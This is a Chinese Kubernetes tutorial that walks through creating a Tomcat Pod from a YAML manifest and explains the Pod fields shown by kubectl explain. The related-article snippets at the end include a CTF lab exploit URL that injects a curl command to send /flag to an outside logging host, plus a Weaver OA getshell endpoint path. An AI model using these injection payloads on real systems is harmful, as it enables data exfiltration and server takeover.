学习笔记十五:基于YUM文件运行POD应用

基于YUM文件运行POD应用

  • 通过资源清单文件创建第一个Pod
      • 更新资源清单文件
      • 查看pod是否创建成功
      • 查看pod的ip和pod调度到哪个节点上
      • 假如pod里有多个容器,进入到pod里的指定容器
      • 查看pod详细信息
      • 查看pod具有哪些标签:
      • 删除pod
      • 通过kubectl run创建Pod
  • Pod资源清单字段解读
      • Pod资源清单编写技巧
      • 查看pod.metadata字段如何定义
      • 查看pod.spec字段如何定义
      • 查看pod.spec.containers字段如何定义
      • 查看pod.spec.container.ports字段如何定义

通过资源清单文件创建第一个Pod

解压镜像:把tomcat.tar.gz上传到k8snode1和k8snode2节点
链接:https://pan.baidu.com/s/1qLcoJDqYSC9dfiDcWY-s0g?pwd=44ad
提取码:44ad

ctr -n=k8s.io images import  tomcat.tar.gz
vim pod-first.yaml
apiVersion: v1
kind: Pod
metadata:name: tomcat-testnamespace: defaultlabels:app:  tomcat
spec:containers:- name:  tomcat-javaports:- containerPort: 8080image: tomcat/tomcat-8.5-jre8:v1imagePullPolicy: IfNotPresent

更新资源清单文件

kubectl apply -f pod-first.yaml 

查看pod是否创建成功

kubectl get pods -l app=tomcat

查看pod的ip和pod调度到哪个节点上

kubectl get pods -owide

查看pod日志

kubectl logs tomcat-test

进入到刚才创建的pod,刚才创建的pod名字是tomcat-test

kubectl exec -it tomcat-test  -- /bin/bash

假如pod里有多个容器,进入到pod里的指定容器

kubectl exec -it tomcat-test -c tomcat-java -- /bin/bash

查看pod详细信息

kubectl describe pods tomcat-test

查看pod具有哪些标签:

kubectl get pods --show-labels

删除pod

#kubectl delete pods tomcat-test
kubectl delete -f pod-first.yaml

我们上面创建的pod是一个自主式pod,也就是通过pod创建一个应用程序,如果pod出现故障停掉,那么我们通过pod部署的应用也就会停掉,不安全, 还有一种控制器管理的pod,通过控制器创建pod,可以对pod的生命周期做管理,可以定义pod的副本数,如果有一个pod意外停掉,那么会自动起来一个pod替代之前的pod

通过kubectl run创建Pod

kubectl run tomcat --image=tomcat/tomcat-8.5-jre8:v1  --image-pull-policy='IfNotPresent'  --port=8080

Pod资源清单字段解读

vim pod-tomcat.yaml
apiVersion: v1  #api版本
kind: Pod       #创建的资源
metadata:    name: tomcat-test  #Pod的名字namespace: default   #Pod所在的名称空间labels:app:  tomcat     #Pod具有的标签
spec:containers:- name:  tomcat-java   #Pod里容器的名字ports:- containerPort: 8080  #容器暴露的端口image: tomcat/tomcat-8.5-jre8:v1  #容器使用的镜像imagePullPolicy: IfNotPresent    #镜像拉取策略

Pod资源清单编写技巧

通过kubectl explain 查看定义Pod资源包含哪些字段。

kubectl explain pod
KIND:     Pod
VERSION:  v1
DESCRIPTION:Pod is a collection of containers that can run on a host. This resource iscreated by clients and scheduled onto hosts.
[Pod是可以在主机上运行的容器的集合。此资源是由客户端创建并安排到主机上。]FIELDS:apiVersion	<string>APIVersion defines the versioned schema of this representation of anobject. Servers should convert recognized schemas to the latest internalvalue, and may reject unrecognized values. More info:https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
[APIVersion定义了对象,代表了一个版本。]kind	<string>Kind is a string value representing the REST resource this objectrepresents. Servers may infer this from the endpoint the client submitsrequests to. Cannot be updated. In CamelCase. More info:https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
[Kind是字符串类型的值,代表了要创建的资源。服务器可以从客户端提交的请求推断出这个资源。]metadata	<Object>Standard object's metadata. More info:https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata
[metadata是对象,定义元数据属性信息的]spec	<Object>Specification of the desired behavior of the pod. More info:https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
[spec制定了定义Pod的规格,里面包含容器的信息]status	<Object>Most recently observed status of the pod. This data may not be up to date.Populated by the system. Read-only. More info:https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
[status表示状态,这个不可以修改,定义pod的时候也不需要定义这个字段]

查看pod.metadata字段如何定义

kubectl explain pod.metadata
KIND:     Pod
VERSION:  v1
RESOURCE: metadata <Object># metadata是对象<Object>,下面可以有多个字段DESCRIPTION:Standard object's metadata. More info:https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadataObjectMeta is metadata that all persisted resources must have, whichincludes all objects users must create.FIELDS:annotations	<map[string]string>Annotations is an unstructured key value map stored with a resource thatmay be set by external tools to store and retrieve arbitrary metadata. Theyare not queryable and should be preserved when modifying objects. Moreinfo: http://kubernetes.io/docs/user-guide/annotations
# annotations是注解,map类型表示对应的值是key-value键值对,<string,string>表示 key和value都是String类型的

例如:

"metadata": {"annotations": {"key1" : "value1","key2" : "value2"}
}
用Annotation来记录的信息包括:
build信息、release信息、Docker镜像信息等,例如时间戳、release id号、镜像hash值、docker registry地址等;
日志库、监控库、分析库等资源库的地址信息;
程序调试工具信息,例如工具名称、版本号等;
团队的联系信息,例如电话号码、负责人名称、网址等。
   clusterName	<string>The name of the cluster which the object belongs to. This is used todistinguish resources with same name and namespace in different clusters.This field is not set anywhere right now and apiserver is going to ignoreit if set in create or update request.
#对象所属群集的名称。这是用来区分不同集群中具有相同名称和命名空间的资源。此字段现在未设置在任何位置,apiserver将忽略它,如果设置了就使用设置的值creationTimestamp	<string>deletionGracePeriodSeconds	<integer>deletionTimestamp	<string>finalizers	<[]string>generateName	<string>generation	<integer>labels	<map[string]string> #创建的资源具有的标签
Map of string keys and values that can be used to organize and categorize(scope and select) objects. May match selectors of replication controllersand services. More info: http://kubernetes.io/docs/user-guide/labels
#labels是标签,labels是map类型,map类型表示对应的值是key-value键值对,<string,string>表示 key和value都是String类型的managedFields	<[]Object>name	<string>           #创建的资源的名字namespace	<string>      #创建的资源所属的名称空间
Namespace defines the space within which each name must be unique. An empty
namespace is equivalent to the "default" namespace, but "default" is the
canonical representation. Not all objects are required to be scoped to a
namespace - the value of this field for those objects will be empty.Must be a DNS_LABEL. Cannot be updated. More info:http://kubernetes.io/docs/user-guide/namespaces
# namespaces划分了一个空间,在同一个namesace下的资源名字是唯一的,默认的名称空间是default。ownerReferences	<[]Object>resourceVersion	<string>selfLink	<string>uid	<string>

查看pod.spec字段如何定义

kubectl explain pod.spec
KIND:     Pod
VERSION:  v1
RESOURCE: spec <Object>
DESCRIPTION:Specification of the desired behavior of the pod. More info:https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-statusPodSpec is a description of a pod.
#Pod的spec字段是用来描述Pod的FIELDS:activeDeadlineSeconds	<integer>
#表示Pod可以运行的最长时间,达到设置的值后,Pod会自动停止。
affinity	<Object>#定义亲和性的automountServiceAccountToken	<boolean>containers	<[]Object> -required-
#containers是对象列表,用来定义容器的,是必须字段。对象列表 表示下面有很多对象,对象列表下面的内容用 - 连接。dnsConfig	<Object>dnsPolicy	<string>enableServiceLinks	<boolean>ephemeralContainers	<[]Object>hostAliases	<[]Object>hostIPC	<boolean>hostNetwork	<boolean>hostPID	<boolean>hostname	<string>imagePullSecrets	<[]Object>initContainers	<[]Object>nodeName	<string>nodeSelector	<map[string]string>overhead	<map[string]string>preemptionPolicy	<string>priority	<integer>priorityClassName	<string>readinessGates	<[]Object>restartPolicy	<string>runtimeClassName	<string>schedulerName	<string>securityContext	<Object>serviceAccount	<string>serviceAccountName	<string>setHostnameAsFQDN	<boolean>shareProcessNamespace	<boolean>subdomain	<string>terminationGracePeriodSeconds	<integer>tolerations	<[]Object>topologySpreadConstraints	<[]Object>volumes	<[]Object>

查看pod.spec.containers字段如何定义

kubectl explain pod.spec.containers
KIND:     Pod
VERSION:  v1RESOURCE: containers <[]Object>
DESCRIPTION:List of containers belonging to the pod. Containers cannot currently beadded or removed. There must be at least one container in a Pod. Cannot beupdated.A single application container that you want to run within a pod.
#container是定义在pod里面的,一个pod至少要有一个容器。FIELDS:args	<[]string>command	<[]string>env	<[]Object>envFrom	<[]Object>image	<string>
#image是用来指定容器需要的镜像的imagePullPolicy	<string>
#镜像拉取策略,pod是要调度到node节点的,那pod启动需要镜像,可以根据这个字段设置镜像拉取策略,支持如下三种:
Always:不管本地是否存在镜像,都要重新拉取镜像
Never: 从不拉取镜像
IfNotPresent:如果本地存在,使用本地的镜像,本地不存在,从官方拉取镜像lifecycle	<Object>livenessProbe	<Object>name	<string> -required-
#name是必须字段,用来指定容器名字的ports	<[]Object>
#port是端口,属于对象列表readinessProbe	<Object>resources	<Object>securityContext	<Object>startupProbe	<Object>stdin	<boolean>stdinOnce	<boolean>terminationMessagePath	<string>terminationMessagePolicy	<string>tty	<boolean>volumeDevices	<[]Object>volumeMounts	<[]Object>workingDir	<string>

查看pod.spec.container.ports字段如何定义

kubectl explain pod.spec.containers.ports
KIND:     Pod
VERSION:  v1
RESOURCE: ports <[]Object>
DESCRIPTION:List of ports to expose from the container. Exposing a port here gives thesystem additional information about the network connections a containeruses, but is primarily informational. Not specifying a port here DOES NOTprevent that port from being exposed. Any port which is listening on thedefault "0.0.0.0" address inside a container will be accessible from thenetwork. Cannot be updated.ContainerPort represents a network port in a single container.
FIELDS:containerPort	<integer> -required-Number of port to expose on the pod's IP address. This must be a valid portnumber, 0 < x < 65536.
#containerPort是必须字段, pod中的容器需要暴露的端口。hostIP	<string>What host IP to bind the external port to.
#将容器中的服务暴露到宿主机的端口上时,可以指定绑定的宿主机 IP。hostPort	<integer>Number of port to expose on the host. If specified, this must be a validport number, 0 < x < 65536. If HostNetwork is specified, this must matchContainerPort. Most containers do not need this.
#容器中的服务在宿主机上映射的端口name	<string>If specified, this must be an IANA_SVC_NAME and unique within the pod. Eachnamed port in a pod must have a unique name. Name for the port that can bereferred to by services.
#端口的名字protocol	<string>Protocol for port. Must be UDP, TCP, or SCTP. Defaults to "TCP".

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/39041.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

word之插入尾注+快速回到刚才编辑的地方

1-插入尾注 在编辑文档时&#xff0c;经常需要对一段话插入一段描述或者附件链接等&#xff0c;使用脚注经常因占用篇幅较大导致文档页面内容杂乱&#xff0c;这事可以使用快捷键 ControlaltD 即可在 整个行文的末尾插入尾注&#xff0c;这样文章整体干净整洁&#xff0c;需…

【枚举边+MST+组合计数】CF1857G

Problem - 1857G - Codeforces 题意&#xff1a; 思路&#xff1a; 首先观察一下样例&#xff1a; 可以发现对于每一对点&#xff0c;贡献是 s - 这对点对应的环的最大边 1 那么这样就有了 n^2 的做法 然后&#xff0c;根据惯用套路&#xff0c;枚举树上的点对问题可以转…

Prometheus的搭建与使用

一、安装Prometheus 官网下载地址&#xff1a;Download | Prometheus 解压&#xff1a;tar -zxvf prometheus-2.19.2.linux-amd64.tar.gz重命名&#xff1a; mv prometheus-2.19.2.linux-amd64 /home/prometheus进入对应目录&#xff1a; cd /home/prometheus查看配置文件&am…

浅析市面电商CRM系统|排单系统存在的不足

笔者做CRM尤其是电商CRM系统7年&#xff0c;相信我的分享能够帮助大家对电商CRM有个清晰的认知。 系统本身是用来提升效率的&#xff0c;针对不少电商卖家或服务商&#xff0c;都有使用CRM系统来管理粉丝链接与营销、销售推广等环节&#xff0c;来实现完整的CRM链路。尤其是在当…

OpenCV-Python中的图像处理-傅里叶变换

OpenCV-Python中的图像处理-傅里叶变换 傅里叶变换Numpy中的傅里叶变换Numpy中的傅里叶逆变换OpenCV中的傅里叶变换OpenCV中的傅里叶逆变换 DFT的性能优化不同滤波算子傅里叶变换对比 傅里叶变换 傅里叶变换经常被用来分析不同滤波器的频率特性。我们可以使用 2D 离散傅里叶变…

2308C++对称转移

原文 了解对称转移 协程组提供了个编写异步代码的绝妙方法,与同步代码一样.只需要在合适地点加上协待,编译器就会负责挂起协程,跨挂起点保留状态,并在操作完成后恢复协程. 但是,最初有个令人讨厌的限制,如果不小心,很容易导致栈溢出.如果想避免它,则必须引入额外同步成本,以…

Unity Spine帧事件

SpinePro中添加事件帧 首先 选中右上角的层级树 然后选择事件选项 最后在右下角看到 新建 点击它 新建一个事件 点击左上角的设置按钮 弹出编辑窗口 编辑窗口 在右上角 动画栏 可以切换对应的动画 点坐边的那个小灰点来切换 亮点代表当前动画 选中帧 添加事件 点击对应事件…

突破防线!泛微OA任意文件上传Getshell

子曰&#xff1a;“巧言令色&#xff0c;鲜矣仁。” 漏洞复现 访问漏洞url&#xff1a; 存在漏洞的路径为 /weaver/weaver.common.Ctrl/.css?arg0com.cloudstore.api.service.Service_CheckApp&arg1validateApp漏洞利用&#xff1a; 漏洞证明&#xff1a; 文笔生疏&…

ubuntu 20.0.4 搭建nvidia 显卡环境

一、安装docker 1、安装dokcer sudo apt install docker.io2、docker 添加到用户组 创建docker用户组 sudo groupadd docker添加当前用户加入docker用户组 sudo usermod -aG docker ${USER}重启docker服务 sudo systemctl restart docker切换或者退出当前账户再从新登入 …

openGauss学习笔记-41 openGauss 高级数据管理-匿名块

文章目录 openGauss学习笔记-41 openGauss 高级数据管理-匿名块41.1 语法41.2 参数说明41.3 示例 openGauss学习笔记-41 openGauss 高级数据管理-匿名块 匿名块&#xff08;Anonymous Block&#xff09;是存储过程的字块之一&#xff0c;没有名称。一般用于不频繁执行的脚本或…

NPM与外部服务的集成(下)

目录 1、撤消访问令牌 2、在CI/CD工作流中使用私有包 2.1 创建新的访问令牌 持续整合 持续部署 交互式工作流 CIDR白名单 2.2 将令牌设置为CI/CD服务器上的环境变量 2.3 创建并签入特定于项目的.npmrc文件 2.4 令牌安全 3、Docker和私有模块 3.1 背景&#xff1a;运…

了解异或的好处和用途

1.什么是异或&#xff1f; 异或&#xff1a;对于二进制&#xff0c;相同为0 不同为11 ⊕ 1 00 ⊕ 0 01 ⊕ 0 10 ⊕ 1 1 2.异或的好处&#xff1f; 异或的好处&#xff1f;1.快速比较两个值 2.xor a a例如 a 3 011xor 0110003.可以使用 异或 来使某些特定的位翻转【原因…

移远RM500U-CN模块直连嵌入式ubuntu实现拨号上网

目录 1 平台&#xff1a; 2 需要准备的资料 3 参考文档 4 编译环境与驱动移植 4.1 内核驱动添加厂家ID和产品ID 4. 2.添加零包处理 4.3 增加复位恢复机制 4.4 增加批量输出 批量输出 URB 的数量和容量 的数量和容量 4.5 内核配置与编译 5 QM500U-CN拨号&#xff08;在开…

Ubuntu和centos版本有哪些区别

Ubuntu和CentOS是两个非常流行的Linux发行版&#xff0c;它们在一些方面有一些区别&#xff0c;如下所示&#xff1a; CentOS的版本发布周期相对较长&#xff0c;主要是因为它是基于RedHatEnterpriseLinux(RHEL)的。这意味着在RHEL发布后才能推出对应的CentOS版本。而Ubuntu则在…

春秋云镜 CVE-2021-21315

春秋云镜 CVE-2021-21315 systeminformation存在命令注入 靶标介绍 systeminformation是一个简单的查询系统和OS信息包。 启动场景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登录ceye.io平台&#xff0c;curl请求 http://eci-2zed871sr7xrdjb…

Lombok的使用及注解含义

文章目录 一、简介二、如何使用2.1、在IDEA中安装Lombok插件2.2、添加maven依赖 三、常用注解3.1、Getter / Setter3.2、ToString3.3、NoArgsConstructor / AllArgsConstructor3.4、EqualsAndHashCode3.5、Data3.6、Value3.7、Accessors3.7.1、Accessors(chain true)3.7.2、Ac…

JavaScript 中常用简写技巧总结

平时我们写代码时最高级的境界是自己写的东西别人看不懂&#xff01;哈哈哈&#xff01;分享一些自己常用的js简写技巧&#xff0c;长期更新&#xff0c;会着重挑选一些实用的简写技巧&#xff0c;使自己的代码更简洁优雅~ 这里只会收集一些大多数人不知道的用法&#xff0c;但…

MySQL新的版本发布模型 - 创新版本和长支持版本

2023年7月18日&#xff0c;MySQL发布了最新数据库服务器版本8.1.0&#xff0c;其中变化最大的是MySQL采用了新的版本发布模型。本文是官方博客的中文摘抄和个人理解&#xff0c;原文更精彩: https://blogs.oracle.com/mysql/post/introducing-mysql-innovation-and-longterm-su…

网络原理(JavaEE初阶系列11)

目录 前言&#xff1a; 1.网络原理的理解 2.应用层 2.1自定义协议的约定 2.1.1确定要传输的信息 2.1.2确定数据的格式 3.传输层 3.1UDP 3.1.1UDP报文格式 3.2TCP 3.2.1确认应答 3.2.2超时重传 3.2.3连接管理 3.2.3.1三次握手 3.2.3.2四次挥手 3.2.4滑动窗口 3.…

bigemap如何添加mapbox地图?

第一步 打开浏览器&#xff0c;找到你要访问的地图的URL地址&#xff0c;并且确认可以正常在浏览器中访问&#xff1b;浏览器中不能访问&#xff0c;同样也不能在软件中访问。 以下为常用地图源地址&#xff1a; 天地图&#xff1a; http://map.tianditu.gov.cn 包含&…